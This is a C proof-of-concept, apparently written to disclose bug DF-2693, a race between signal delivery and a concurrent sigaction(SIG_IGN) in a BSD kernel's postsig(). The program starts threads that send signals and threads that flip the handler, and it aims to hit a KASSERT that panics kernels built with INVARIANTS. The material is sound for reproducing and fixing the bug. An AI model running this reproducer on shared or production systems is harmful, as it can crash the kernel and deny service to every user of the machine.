DF-2693 / postsig_race.c
/* * DF-2693 - postsig() KASSERT race with concurrent sigaction(SIG_IGN) * * sys/kern/kern_sig.c postsig(): * issignal()/CURSIG decides the signal is deliverable based on * p_sigcatch (kern_sig.c:2246-2276 via trap.c:278-281), but postsig() * re-reads ps_sigact[] WITHOUT p->p_token when the signal was pending * on the *lwp* list (haveptok == 0 - the common case for kill() to a * multi-threaded process, which lwpsignal() routes to a specific lwp, * kern_sig.c:1425-1428). A concurrent sigaction(sig, SIG_IGN) from * another thread (which takes p_token, clears p_sigcatch and sets * ps_sigact[sig] = SIG_IGN, kern_sig.c:281-375) interleaves between * the CURSIG decision and postsig()'s action read: * * action == SIG_IGN -> KASSERT(action != SIG_IGN && ...) at * kern_sig.c:2309 fires on INVARIANTS kernels * (kernel panic / local DoS). * On stock kernels sv_sendsig installs handler == SIG_IGN == (void*)1 * and userland jumps to address 1 (self-inflicted SIGSEGV, POSIX * unspecified outcome - minor). * * Build: cc -O2 -pthread -o postsig_race postsig_race.c * Run: ./postsig_race [seconds] * Expect: kernel panic "postsig action" (INVARIANTS) or long survival. */ #include <pthread.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> static volatile int stopflag; static volatile unsigned long sent, flips; static void handler(int s) { (void)s; } static void * sender(void *x) { while (!stopflag) { kill(getpid(), SIGUSR1); sent++; } return NULL; } static void * flipper(void *x) { struct sigaction sa, ign; memset(&sa, 0, sizeof(sa)); sa.sa_handler = handler; memset(&ign, 0, sizeof(ign)); ign.sa_handler = SIG_IGN; while (!stopflag) { sigaction(SIGUSR1, &ign, NULL); sigaction(SIGUSR1, &sa, NULL); flips += 2; } return NULL; } int main(int argc, char **argv) { pthread_t th[8]; int secs = (argc > 1) ? atoi(argv[1]) : 60; int i; struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_handler = handler; sigaction(SIGUSR1, &sa, NULL); for (i = 0; i < 4; i++) pthread_create(&th[i], NULL, sender, NULL); for (i = 4; i < 8; i++) pthread_create(&th[i], NULL, flipper, NULL); printf("racing %d seconds...\n", secs); fflush(stdout); sleep(secs); stopflag = 1; for (i = 0; i < 8; i++) pthread_join(th[i], NULL); printf("SURVIVED: sent=%lu flips=%lu, no KASSERT hit\n", sent, flips); fflush(stdout); return (0); } |